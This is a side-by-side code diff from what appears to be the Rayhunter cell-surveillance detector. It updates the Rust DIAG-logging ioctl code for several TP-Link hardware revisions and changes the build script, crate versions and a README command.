fn enable_frame_readwrite(fd: i32, mode: u32) -> DiagResult<()> { fn enable_frame_readwrite(fd: i32, mode: u32) -> DiagResult<()> {
unsafe { unsafe {
if libc::ioctl(fd, DIAG_IOCTL_SWITCH_LOGGING, mode, 0, 0, 0) < 0 { if libc::ioctl(fd, DIAG_IOCTL_SWITCH_LOGGING, mode, 0, 0, 0) < 0 {
let mut params = if cfg!(feature = "tplink") { let try_params: &[diag_logging_mode_param_t] = &[
// tplink M7350 HW revision 3-8 need this mode
#[cfg(feature = "tplink")]
diag_logging_mode_param_t { diag_logging_mode_param_t {
req_mode: mode, req_mode: mode,
peripheral_mask: 0, peripheral_mask: 0,
mode_param: 1, mode_param: 1,
} },
} else { // tplink M7350 HW revision v9 requires the same parameters as orbic
diag_logging_mode_param_t { diag_logging_mode_param_t {
req_mode: mode, req_mode: mode,
peripheral_mask: u32::MAX, peripheral_mask: u32::MAX,
mode_param: 0, mode_param: 0,
} },
}; ];
let mut ret = 0;
for params in try_params {
let mut params = *params;
ret = libc::ioctl(
fd,
DIAG_IOCTL_SWITCH_LOGGING,
&mut params as *mut diag_logging_mode_param_t,
std::mem::size_of::<diag_logging_mode_param_t>(),
0,
0,
0,
0,
);
if ret == 0 {
break;
}
}
let ret = libc::ioctl(
fd,
DIAG_IOCTL_SWITCH_LOGGING,
&mut params as *mut _,
std::mem::size_of::<diag_logging_mode_param_t>(),
0,
0,
0,
0,
);
if ret < 0 { if ret < 0 {
let msg = format!( let msg = format!(
"DIAG_IOCTL_SWITCH_LOGGING ioctl failed with error code {}", "DIAG_IOCTL_SWITCH_LOGGING ioctl failed with error code {}",
+2 -2
View File
@@ -2,8 +2,8 @@
pushd bin/web pushd bin/web
npm run build npm run build
popd popd
cargo build --release --target="armv7-unknown-linux-musleabihf" #--features debug cargo build --profile firmware --bin rayhunter-daemon --target="armv7-unknown-linux-musleabihf" #--features debug
adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"' adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"'
adb push target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon /data/rayhunter/rayhunter-daemon adb push target/armv7-unknown-linux-musleabihf/firmware/rayhunter-daemon /data/rayhunter/rayhunter-daemon
echo "rebooting the device..." echo "rebooting the device..."
adb shell '/bin/rootshell -c "reboot"' adb shell '/bin/rootshell -c "reboot"'
+1 -1
View File
@@ -1,6 +1,6 @@
[package] [package]
name = "rootshell" name = "rootshell"
version = "0.3.0" version = "0.4.0"
edition = "2021" edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+5 -4
View File
@@ -1,14 +1,15 @@
[package] [package]
name = "telcom-parser" name = "telcom-parser"
version = "0.3.0" version = "0.4.0"
edition = "2021" edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies] [dependencies]
asn1-compiler = "0.6.1" # FIXME: When this branch is merged into main point this at the release version of hampi again
asn1-codecs = "0.6.1" asn1-compiler = { git = "https://github.com/ystero-dev/hampi", rev = "67f3283764eda20022d190c3d3d6edd1a88047e0" }
asn1_codecs_derive = "0.6.1" asn1-codecs = { git = "https://github.com/ystero-dev/hampi", rev = "67f3283764eda20022d190c3d3d6edd1a88047e0" }
asn1_codecs_derive = { git = "https://github.com/ystero-dev/hampi", rev = "67f3283764eda20022d190c3d3d6edd1a88047e0" }
bitvec = { version = "1.0", features = ["serde"] } bitvec = { version = "1.0", features = ["serde"] }
log = "0.4" log = "0.4"
thiserror = "1.0.56" thiserror = "1.0.56"
+1 -1
View File
@@ -15,7 +15,7 @@ To install the hampi compiler, run:
To generate the parser for LTE RRC, run: To generate the parser for LTE RRC, run:
``` ```
> hampi-rs-asn1c --codec uper --derive clone --derive partial-eq --derive serialize --module src/lte_rrc.rs -- specs/EUTRA* specs/PC5-RRC-Definitions.asn > rs-asn1c --codec uper --derive clone --derive partial-eq --derive serialize --module src/lte_rrc.rs -- specs/EUTRA* specs/PC5-RRC-Definitions.asn
``` ```
## Sourcing the ASN.1 files ## Sourcing the ASN.1 files